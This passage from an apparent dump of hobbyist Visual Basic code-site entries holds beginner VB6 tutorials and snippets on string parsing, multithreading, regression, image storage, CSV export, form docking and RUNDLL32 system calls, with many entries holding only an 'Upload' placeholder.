occurrence another string (returns the position of the found string).\n* Left - For extracting the leftmost character(s) from a string.\n* Right - For extracting the rightmost characters from a string.\n* Replace - To replace one set of characters with another (VB6 and up only).\n* Len - For getting the length of a specified string.\n \nI wont dive to deeply into how to use these function’s syntax, you can refer to the VB help file in the Strings category to find a full set of instructions and examples on how to utilize these. Although we WILL be exploring the use of these functions, and at that time I will explain how to use them properly.\n \nSECTION 2 - Types of parsers\n There are two different types of parsers, and I’m not talking about the method in which they parse. I will call them Translator Parsers, and Command Parsers (there may be other types but I’m sticking to these two) Translators are converters, they take the data they are given and output new data. A compiler would be a perfect example of a translator, it takes the computer syntax and translates it into machine code.\n A command parser is a parser that actually does something when it interprets a certain "Command" - for a good example would be a script executor, it finds a command in the script, and it does convert the syntax to a string, instead, it executes a command or subroutine)\n \nSECTION 3 - The FIVE parts of a parsing algorithm\n I have divided parsing algorithms into 5 basic parts to allow you to better understand the process of parsing a string. They are each defined below…\nINPUT - The data that is given to the parser, usually a string. This is the data that the parser will parse through and will work with in the first place.\nOUTPUT - The output is what the end product is (and maybe I should of put this part last in the list) it is what we lend up with after the parsing is complete. The output only exists if the parser is meant to conduct some sort of "translation" of the input (translation parsers take data and output other data accordingly, for more info on types of parsers, see section 2). Like if the parser’s purpose was to reverse all the letters in a sentence then the output of "Hello World" would be "dlroW olleH" - the input was "Hello World" and the output was "dlroW olleH".\nINTERPRETATION - How the parser interpret the input. Does it see it as a set of commands, or as a language to be translated, what does it look for, what is It trying to find, and what will it do when it finds it. (see section 2 if you haven’t read it already and don’t get what I’m talking about here.)\nPROCESSING - What the parser does once it interprets the data, for example, in the VB parser, when it finds the string "MsgBox" it knows that it will be displaying a message box, and the process it takes is looking for the message box properties. Then, after finding the properties (Caption, Buttons, Icon etc.) it displays a message box accordingly. Processing can add to the output depending on what it finds, or it can react, like the message box example, and interpret strings as commands.\n \nSECTION 4 - Constructing a parser…\n Yeah! We’re finally past all that boring $hit about parts of a parser and stuff!!! In this section, we’re gunna build a parser to execute our own message box script. Go into VB and create a new project and a form and place a textbox on the form and a command button, put he buttons Caption to Execute and make the button’s name "CmdExe" and keep the name of the textbox as the default \"Text1\".\nNow we’re gunna construct the parsing algorithm… When writing an algorithm of any sort, its good to figure out what steps the computer will need to take, or in mathematics, what equation the computer will use. In our case here, we’ll say that in our new script, the code for a message box is MSB followed by the properties in some angel-brackets then the caption in quotes – something like this…\nMSB<"Hello World!">\nSo the first thing we did was figure out what the script might look like (which is a good idea for any type of script or language designing)\n Ok, so what are we gunna do to turn this little script into a message box? – here’s what…\n First of all, we need to find the string that tells us to make a message box – in this case, we’re looking for "MSB" so here’s what we put I our code.\n‘---------------------------------------------------------------------\nPrivate Sub CmdExe_Click()\n Dim CP 'CP will keep track of the\n 'Position of the command\n \n CP = InStr(1, UCase(Text1).Text, \"MSB\")\n 'ok, now CP will know the position of the word \"MSB\"\n 'note that we used UCase(Text1.Text) which converts the string\n 'in text1 to all uppercase so we don’t have to worry about\n 'case sensitivity\nEnd Sub\n‘----------------------------------------------------------------------\nNow we’ve found the command we’re looking for, this type of parsing isn’t top to bottom parsing, this type is just finding any possible commands. We should check to make sure the script has a ‘ <" ’ and a ‘ "> ‘. So we’ll do that and if we know they have put it in, we’ll need to find the caption of the message box, otherwise give them an error message! We’ll be storing the caption for further use as a variable. We can call our variable "MBCap" so here’s what the code will look like now…\n‘----------------------------------------------------------------------\nPrivate Sub CmdExe_Click()\n Dim CP, CP2, CP3, CP4 'CP will keep track of the\n 'Position of the command\n Dim MBCap As String 'Stores the caption of\n 'the message box for further use\n \n CP = InStr(1, UCase(Text1.Text), \"MSB\")\n If CP = 0 Then Exit Sub 'if we dont find it, discontinue\n 'If we found it it will continue\n 'ok, now CP will know the position of the word \"MSB\"\n 'note that we used UCase(Text1.Text) which converts the string\n 'in text1 to all uppercase so we dont have to worry about\n 'case sensitivity\n 'NOW WE CHECK FOR THE <\" and \">\n CP2 = Mid(Text1.Text, CP + 3, 2) 'this selects the 2 characters directly\n 'after the word MSB\n 'check for the second\n CP3 = InStr(CP + 5, Text1.Text, Chr(34) & \">\")\n CP4 = Mid(Text1.Text, CP3, 2)\n \n If CP2 = \"<\" & Chr(34) And CP4 = Chr(34) & \">\" Then\n 'the if says if we found <\" and \"> the continue\n Else\n Exit Sub 'otherwise discontiue with this sub\n End If\nEnd Sub\n‘-----------------------------------------------------------------------------\n As you more advanced programmers can see, I haven’t been the most efficient, but this is just one of thoughs things where simple is better. Now we need to extract the caption of the button, so this is how we do that, we’re gunna find the length of the caption by subtracting the position of the "> from the position of the ">, then we’ll select the caption and store it as a string for later use.\nNow this is what the code should look like… (Copy it into your program, be sure to study it though)\n‘-------------------------------------------------------------------------------\nPrivate Sub CmdExe_Click()\n Dim CP, CP2, CP3, CP4 'CP will keep track of the\n 'Position of the command\n Dim MBCap As String 'Stores the caption of\n 'the message box for further use\n Dim CapLen As Integer 'stores the captions length\n \n CP = InStr(1, UCase(Text1.Text), \"MSB\")\n If CP = 0 Then Exit Sub 'if we dont find it, discontinue\n 'If we found it it will continue\n 'ok, now CP will know the position of the word \"MSB\"\n 'note that we used UCase(Text1.Text) which converts the string\n 'in text1 to all uppercase so we dont have to worry about\n 'case sensitivity\n 'NOW WE CHECK FOR THE <\" and \">\n CP2 = Mid(Text1.Text, CP + 3, 2) 'this selectd the 2 characters directly\n 'after the word MSB\n 'check for the second\n CP3 = InStr(CP + 5, Text1.Text, Chr(34) & \">\")\n CP4 = Mid(Text1.Text, CP3, 2)\n \n If CP2 = \"<\" & Chr(34) And CP4 = Chr(34) & \">\" Then\n 'the if says if we found <\" and \"> the continue\n Else\n Exit Sub 'otherwise discontinue with this sub\n End If\nCapLen = CP3 - (CP + 5)\n MBCap = Mid(Text1.Text, CP + 5, CapLen)\n MsgBox MBCap\nEnd Sub\n‘--------------------------------------------------------------------------------\nNOW if you run it and type MSB<"Hello WORLD!"> in the textbox, press execute and you get a message box with ‘hello WORLD!’ on it!\n I got tired hands, and I’m only 15, and I have school, so I’ll continue this tomorrow, happy programming, please vote!"},{"WorldId":1,"id":14427,"LineNumber":1,"line":"- Scoop \nMy intention with this WP is that there shall be a little some thing for every body between \"New Bee\" and \"Guru.\" I also limit my self to talking about \"in code stuff\" or stuff close to that, the actual code you can use to handle errors in VB, and collect as much information as possible to use when debugging. Therefore, what you will not find is how to avoid errors or how to manage it organizationally. \n \n - The accompanying Example Application \n There is an example application, having it open in the VB IDE beside the document when reading makes it allot easier. In the example there is also context sensitive help on the different buttons, connecting the to app the WP (this only works when the application is running). Please download the .zip file below to see the complete tutorial! \n\n"},{"WorldId":1,"id":14429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14432,"LineNumber":1,"line":"Public Sub LinRegsngArr(ByRef sng_XArray!(), ByRef sng_YArray!(), _\n ByVal lowLimInd&, ByVal uppLimInd&, ByRef Slope!, ByRef YSection!)\n'this Code calculates a linear regression\n'using the points of two Arrays (X,Y) \n'and gives back slope and Y-intersection \n'of the straight line\nDim sng_XSum!, sng_YSum!, sng_XQuad!, sng_YQuad!, sng_XYProd!, sng_Fract!\nDim lng_Index&, ValuesCounts&, sng_Zaehler!\n ValuesCounts = uppLimInd - lowLimInd + 1\n For lng_Index = lowLimInd To uppLimInd\n sng_XSum = sng_XSum + sng_XArray(lng_Index)\n sng_YSum = sng_YSum + sng_YArray(lng_Index)\n sng_XQuad = sng_XQuad + sng_XArray(lng_Index) ^ 2\n sng_YQuad = sng_YQuad + sng_YArray(lng_Index) ^ 2\n sng_XYProd = sng_XYProd + sng_YArray(lng_Index) * sng_XArray(lng_Index)\n Next\n sng_Fract = ValuesCounts * sng_XQuad - sng_XSum ^ 2\n Slope = (ValuesCounts * sng_XYProd - sng_XSum * sng_YSum) / sng_Fract\n YSection = (sng_YSum * sng_XQuad - sng_XSum * sng_XYProd) / sng_Fract\n \nEnd Sub\n"},{"WorldId":1,"id":14433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14457,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14458,"LineNumber":1,"line":"Private Sub Timer1_Timer()\n \n 'Set the interval of the timer.\n 'Each time the timer event is called\n 'subtract one from the tick.\n \n 'Assuming 10000 interval with a 1440 tick,\n 'this would give a delay of 4 hours.\n \n '10000 / 1000 = 10 *Milliseconds to Seconds\n '10 * 1440 = 14400 *Multiply by ticks\n '14400 / 60 = 240 *Seconds to minutes\n '240 / 60 = 4 *Minutes to hours\n \n 'Allocate a static variable\n Static siTick As Integer\n \n 'Check if variable greater then desired tick\n If siTick > 1440 Then\n \n '************ Do some code ************'\n \n 'Start the ticker over\n siTick = 0\n \n 'If not then add one to the tick\n Else\n siTick = siTick + 1\n End If\n \nEnd Sub"},{"WorldId":1,"id":14459,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14470,"LineNumber":1,"line":"\n'Saves the image Filename (any kind Picturebox supports: jpg, gif, ico, bmp, wmf..) in to\n'the current record of the recordset rsImg, using the field FieldName (must be a memo field!!!)\n'USE: SaveImage(\"c:\\sample.gif\", rs)\nPublic Sub SaveImage(Filename As String, rsImg As Recordset, Optional FieldName As String = \"Image\")\n On Error Goto EH\n Dim fh As Integer\n Dim strFile As String\n \n If rsImg.BOF Or rsImg.EOF Then Err.Raise vbObjectError + 1, \"SaveImage\", \"EOF or BOF encountered\"\n \n fh = FreeFile\n Open Filename For Binary Access Read As fh\n \n strFile = String(LOF(fh), \" \")\n Get fh, , strFile\n \n Close fh\n \n rsImg(FieldName) = strFile\n Exit Sub\nEH:\nEnd Sub\n'Reads the image (any kind Picturebox supports: jpg, gif, ico, bmp, wmf..) from \n'the current record of the recordset rsImg, using the field FieldName, and returns it. \n'USE: picture1.picture=ReadImage(rsImg)\nPublic Function ReadImage(rsImg As Recordset, Optional FieldName As String = \"Image\") As IPictureDisp\n On Error Goto EH\n Dim strFile As String\n Dim fh As Integer\n \n If rsImg.BOF Or rsImg.EOF Then Err.Raise vbObjectError + 2, \"EeadImage\", \"EOF or BOF encountered\"\n \n ChDir App.Path\n strFile = rsImg(FieldName)\n \n fh = FreeFile\n Open GetTempDir & \"tmpimage.temp\" For Binary Access Write As fh\n Put #fh, , strFile\n Close fh\n \n \n Set LeerImagen = LoadPicture(GetTempDir & \"tmpimage.temp\")\n \n Kill GetTempDir & \"tmpimage.temp\"\n Exit Function\nEH: \nEnd Function\n\nPrivate Function GetTempDir() As String\n GetTempDir = String(255, \" \")\n GetTempPath 255, GetTempDir\n GetTempDir = Left(Trim(GetTempDir), Len(Trim(GetTempDir)) - 1)\nEnd Function\n"},{"WorldId":1,"id":14471,"LineNumber":1,"line":"Private Function openfile(file As String)\nCall ShellExecute(0&, vbNullString, file, vbNullString, vbNullString, vbNormalFocus)\nEnd Function\n'' That's it!..\n'' Please Vote..:-)"},{"WorldId":1,"id":14473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14475,"LineNumber":1,"line":"The tutorial and the sample app is included in the ZIP file."},{"WorldId":1,"id":14476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14479,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"de\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Multithreading Tutorial</title>\n</head>\n<body>\nMultithreading\nHi, welcome to this little tuturial on Win32 multithreading in\nVisual Basic.\nFor more mutithreading examples download the .zip file which\nincludes a full sample project and my clsThreading.cls which makes\nmultithreading much easier.\nThis tutorial is also included in the .zip file so you don┬┤t\nhave to read it here.\n1. What is multitasking?\nOn Windows, as it is a 32 bit operating system, more then\none task can run at once. Everybody knows that, you can e.g. run Paint and Windows\nNotepad at the same time.\nYou can switch between these tasks using the buttons in the\ntaskbar.Well, they do not really run at the same time, because only one\napp can control the CPU at once, but Windows switches the processor control\nbetween these apps very fast, so that it seems that they are running at the same\ntime.\nThis ability of Windows to handle various tasks at once is\ncalled multitasking. \n┬á \n2. What is multithreading? \nBut Windows can do even more. \nNot only various tasks can run at once, but one task can\ncreate multiple threads, where every thread has its own function. For\nexample, Windows Explorer can copy a huge file (with the file copy dialog) and,\nat the same time, you can still use the TreeView to navigate through the folders.\nA normal Visual Basic app is disabled until a task is finished (e.g. open a big\nfile). In a multithreaded program, you can also click the titlebar and this\nwon┬┤t stop the program┬┤s activities. \nThe ability of Windows to allow one app to handle multiple\nthreads is called multithreading. \n┬á \n3. How can I implement multithreading in my VB program? \nTo use the cool multithreading in your VB app, you need some\nAPI calls (or my clsThreading.cls which is included in the .zip file) : \nThe first and most important is the CreateThread\ncall : \nDeclare Function CreateThread Lib \"kernel32\" (ByVal lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long \nWhat it does? It creates a new thread in your app. Parameters\n:\n<ul>\n <li>\n ByVal lpThreadAttributes As Any:\n The security attributes for the threads. The normal type is SECURITY_ATTRIBUTES,\n but you don┬┤t need this parameter so use ByVal 0&\n as value.</li>\n <li>\n ByVal dwStackSize As Long:\n Tells Windows how much stack memory the thread should have. We don┬┤t need\n it, use ByVal 0& for this parameter.</li>\n <li>\n ByVal lpStartAddress As Long:\n This is the most important parameter. It tells Windows which function the\n thread has to execute. To use this parameter, we need the AddressOf\n operator which can be used with public functions in public modules\n only. So place your threaded function in a module and for the lpStartAddress\n parameter use AddressOf YourFunction.</li>\n <li>\n ByVal dwCreationFlags As Long:\n The creation flags for the thread. To use this parameter, search the CREATE_*\n constants in the API Viewer (they are also in clsThreading.cls). One\n interesting flag is the CREATE_SUSPENDED flag,\n which allows you to create the thread disabled (not running). If you don┬┤t\n need this parameter, use ByVal 0&.</li>\n <li>\n lpThreadID As Long: This is a ByRef\n parameter which represents the ID of the created thread.</li>\n</ul>\nThe return value of the CreateThread function\nis the handle to the created thread. A handle to a thread is like a Window\nhandle (hWnd). It allows you to take control over the thread. If the CreateThread\nfunction returns 0, it failed to create the thread.\nThe next important API call is SetThreadPriority\n:\nDeclare Function SetThreadPriority Lib \"kernel32\" (ByVal hThread As Long, ByVal nPriority As Long) As Long\nIt sets the priority of a specified thread. Parameters :\n<ul>\n <li>\n ByVal hThread As Long: The\n handle to the thread. You can use for example the return value of the CreateThread\n call.</li>\n <li>\n ByVal nPriority As Long: The\n new priority of the specified thread. The thread priority has five major\n values: THREAD_PRIORITY_LOWEST, THREAD_PRIORITY_BELOW_NORMAL,\n THREAD_PRIORITY_NORMAL, THREAD_PRIORITY_ABOVE_NORMAL\n and THREAD_PRIORITY_HIGHEST which should be\n self-explaining. The constants for these values can be found in the API\n viewer (and in clsThreading.cls).</li>\n</ul>\nTo get the actual priority of a thread use the GetThreadPriority\ncall.\nThere are two more interesting threading calls, SuspendThread\nand ResumeThread :\nDeclare Function SuspendThread Lib \"kernel32\" (ByVal hThread As Long) As Long\nDeclare Function ResumeThread Lib \"kernel32\" (ByVal hThread As Long) As Long\nSuspendThread disables a\nthread and ResumeThread enables a disabled\nthread. Parameters :\n<ul>\n <li>\n ByVal hThread As Long: The\n handle to the thread we want to disable/enable.</li>\n</ul>\nThe last call, TerminateThread\nfully stops a thread. It is important that you stop all threads this way before\nclosing your application because otherwise, it might crash.\nDeclare Function TerminateThread Lib \"kernel32\" (ByVal hThread As Long, ByVal dwExitCode As Long) As Long\nParameters :\n<ul>\n <li>\n ByVal hThread As Long: We know\n it: The handle to the thread we want to terminate.</li>\n <li>\n ByVal dwExitCode As Long: An\n exit code (not needed). Use ByVal 0& for\n this parameter.</li>\n</ul>\n┬á\n4. Thank you\nThank you for reading this tutorial. Now you know the most\ncommon Win32 multithreading calls, you can create, stop, enable, disable threads\nand you can change the priority of threads. Did you learn something? If yes,\nplease vote for me. And excuse me for my bad english because I┬┤m german.\nPhilipp Weidmann\n</body>\n</html>\n"},{"WorldId":1,"id":14480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14491,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14494,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14499,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14511,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14516,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14523,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14556,"LineNumber":1,"line":"'To use the following functions simply write:\n'shell \"RUNDLL32.EXE _________\"\n'For example, \nShell \"RUNDLL32.EXE user,setcursorpos\" '(sets the \n'mouse pointer to the upper left corner of the \n'screen)\n\n'\n'---OTHER FUNCTIONS---\n'\n'-- Shut down Windows\n'RUNDLL32.EXE KRNL386.EXE,exitkernel \n'-- Sort open windows on desktop\n'RUNDLL32.EXE user,tilechildwindows\n'RUNDLL32.EXE user,cascadechildwindows \n'-- Open Hardware manager\n'RUNDLL32.EXE sysdm.cpl,installDevice_Rundll \n'-- swap mousebuttons\n'RUNDLL32.EXE user,swapmousebutton \n'-- Disable Keyboard\n'RUNDLL32.EXE keyboard,disable \n'-- Disable Mouse\n'RUNDLL32.EXE mouse,disable \n'-- Opens the Network connect window\n'RUNDLL32.EXE user,wnetconnectdialog \n'-- Set mouse pointer to the upper left corner\n'RUNDLL32.EXE user,setcursorpos \n'-- Open a Explorer window\n'RUNDLL32.EXE shell,shellexecute \n'-- Reboot Windows 98\n'RUNDLL32.EXE shell32SHExitWindowsEx 0 \n'-- Shut down Windows 98\n'RUNDLL32.EXE shell32SHExitWindowsEx 1 \n'-- Reboot PC\n'RUNDLL32.EXE shell32SHExitWindowsEx 2 \n'-- Restart Windows Explorer ( Desktop)\n'RUNDLL32.EXE shell32SHExitWindowsEx -1 \n"},{"WorldId":1,"id":14558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14562,"LineNumber":1,"line":"\nSub UnDockForm(vbForm As Form)\n' This sub does the opposite of DockForm basicly.\nDim Desktop As RECT\n' Get the Work space area of the desktop\nSystemParametersInfo SPI_GETWORKAREA, 0&, Desktop, 0&\nWith Desktop ' change the values back to normal\n Select Case LastDock\n Case DockBottom\n .Bottom = .Bottom + DockAmount\n \n Case DockLeft\n .Left = .Left - DockAmount\n \n Case DockTop\n .Top = .Top - DockAmount\n \n Case DockRight\n .Right = .Right + DockAmount\n \n Case Else\n Exit Sub ' no dock performed\n End Select\nEnd With\n' Now set the form back to normal\n \nWith vbFormOldRect\n vbForm.Move .vbLeft, .vbTop, .vbWidth, .vbHeight\nEnd With\n\n' Now, update the SystemParams again..\n SystemParametersInfo SPI_SETWORKAREA, 0&, Desktop, SPIF_SENDWININICHANGE\n' And clear LastDock\nLastDock = 0\n \n' And thats it. Should all be good =]\nEnd Sub\nSub DockForm(vbForm As Form, DockPos As DockTypes)\n' Notes - YOU *MUST* run UnDock before closing program\n' otherwise the desktop will remain 'clipped'\nIf LastDock <> 0 Then\n ' form is already docked... you really don't want to dock it somewhere else\n MsgBox \"Please don't re-dock without un-docking.\", vbOKOnly, \"Docking aborted\"\n Exit Sub\nEnd If\n' FIRST, save the RECT of vbForm\nWith vbFormOldRect\n .vbHeight = vbForm.Height\n .vbLeft = vbForm.Left\n .vbTop = vbForm.Top\n .vbWidth = vbForm.Width\nEnd With\nDim Desktop As RECT\n'Get the Current Desktop Work Area\nSystemParametersInfo SPI_GETWORKAREA, 0&, Desktop, 0&\n\n' Now, resize the form to what we want it to be\nDim V As vbRECT\nV = vbFormOldRect ' (aka current window size)\nWith V\n Select Case DockPos\n Case DockLeft\n .vbTop = (Desktop.Top * 15)\n .vbLeft = (Desktop.Left * 15)\n .vbHeight = (Desktop.Bottom * 15) - .vbTop\n \n Case DockRight\n .vbTop = (Desktop.Top * 15)\n .vbLeft = (Desktop.Right * 15) - .vbWidth\n .vbHeight = (Desktop.Bottom * 15) - .vbTop\n \n Case DockBottom\n .vbTop = (Desktop.Bottom * 15) - .vbHeight\n .vbLeft = (Desktop.Left * 15)\n .vbWidth = (Desktop.Right * 15) - .vbLeft\n Case DockTop\n .vbTop = (Desktop.Top * 15)\n .vbLeft = (Desktop.Left * 15)\n .vbWidth = (Desktop.Right * 15) - .vbLeft\n \n Case Else\n Exit Sub\n End Select\n\nEnd With\n \n' Now, Modify the Desktop values\nWith Desktop\n Select Case DockPos\n Case DockBottom\n DockAmount = (vbForm.Height / 15)\n .Bottom = .Bottom - DockAmount\n \n Case DockRight\n DockAmount = (vbForm.Width / 15)\n .Right = .Right - DockAmount\n \n Case DockTop\n DockAmount = (vbForm.Height / 15)\n .Top = .Top + DockAmount\n \n Case DockLeft\n DockAmount = (vbForm.Width / 15)\n .Left = .Left + DockAmount\n \n End Select\nEnd With\n \n' Now all is needed is to Update the sysParams..\nSystemParametersInfo SPI_SETWORKAREA, 0&, Desktop, SPIF_SENDWININICHANGE\n' Note: SPIF_SENDWININICHANGE saves us from using\n' SendMessage HWND_BROADCAST, WM_SETTINGSCHANGE, SPI_SETWORKAREA, Desktop\n' to update all the windows.\n\nWith V\n vbForm.Move .vbLeft, .vbTop, .vbWidth, .vbHeight\nEnd With\n \n' Cool, and it's that simple. Now set the LastDock variable for UnDock.\nLastDock = DockPos\n \nEnd Sub"},{"WorldId":1,"id":14564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14587,"LineNumber":1,"line":"Sorry, couldn't upload, please use http://www.VBgames.co.uk/downloads/exdemob1.zip"},{"WorldId":1,"id":14589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14590,"LineNumber":1,"line":"FileCopy \"C:\\Windows\\Win.ini\", \"C:\\Windows\\Desktop\\Win.ini\""},{"WorldId":1,"id":14592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14593,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14612,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14620,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14630,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14658,"LineNumber":1,"line":"'Put This In Form_MouseDown\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nReleaseCapture\nSendMessage Me.hwnd, &H112, &HF012, 0\nEnd Sub\n"},{"WorldId":1,"id":14659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14667,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14668,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14681,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14689,"LineNumber":1,"line":"Sub dB_RsToCSVFile(Rs As ADODB.Recordset, FileName As String, Optional Delimiter As String = \",\")\n Dim fh As Integer\n Dim FileIsOpen As Boolean, s As Variant\n Dim t As Integer\n Dim Buf As String, TempStr As String\n FileIsOpen = False\n On Error GoTo Err_Out\n fh = FreeFile()\n Open FileName For Output As fh\n FileIsOpen = True\n Buf = \"\"\n For t = 0 To Rs.Fields.Count - 1\n If Buf = \"\" Then\n Buf = \"\"\"\" & Rs.Fields(t).Name & \"\"\"\"\n Else\n Buf = Buf & Delimiter & \"\"\"\" & Rs.Fields(t).Name & \"\"\"\"\n End If\n Next t\n Print #fh, Buf\n Do While Not Rs.EOF\n Buf = \"\"\n For t = 0 To Rs.Fields.Count - 1\n If IsNull(Rs.Fields(t).Value) Then\n TempStr = \"\"\n Else\n TempStr = Rs.Fields(t).Value\n End If\n If Buf = \"\" Then\n Buf = \"\"\"\" & TempStr & \"\"\"\"\n Else\n Buf = Buf & Delimiter & \"\"\"\" & TempStr & \"\"\"\"\n End If\n Next t\n Print #fh, Buf\n Rs.MoveNext\n Loop\n Close fh\n Exit Sub\nErr_Out:\n If FileIsOpen Then\n Close fh\n End If\n MsgBox \"There was an error: \" & Error, vbOKOnly, \"The file was not created\"\nEnd Sub"},{"WorldId":1,"id":14695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14699,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14704,"LineNumber":1,"line":"Put the following code in a bas module.\nMODULE:\nDeclare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long\nDeclare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPublic Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPublic Const GWL_WNDPROC = (-4)\nPublic Const WM_PASTE = &H302\nType POINTAPI\n x As Long\n y As Long\nEnd Type\nType Msg\n hwnd As Long\n message As Long\n wParam As Long\n lParam As Long\n time As Long\n pt As POINTAPI\nEnd Type\nDim mlPrevProc As Long\nPublic Sub Hook(robjTextbox As TextBox)\n mlPrevProc = SetWindowLong(robjTextbox.hwnd, GWL_WNDPROC, AddressOf TextProc)\nEnd Sub\nPublic Sub UnHook(robjTextbox As TextBox)\n SetWindowLong robjTextbox.hwnd, GWL_WNDPROC, PrevProc\nEnd Sub\nPublic Function TextProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n If uMsg = WM_PASTE Then\n uMsg = 0\n End If\n \n TextProc = 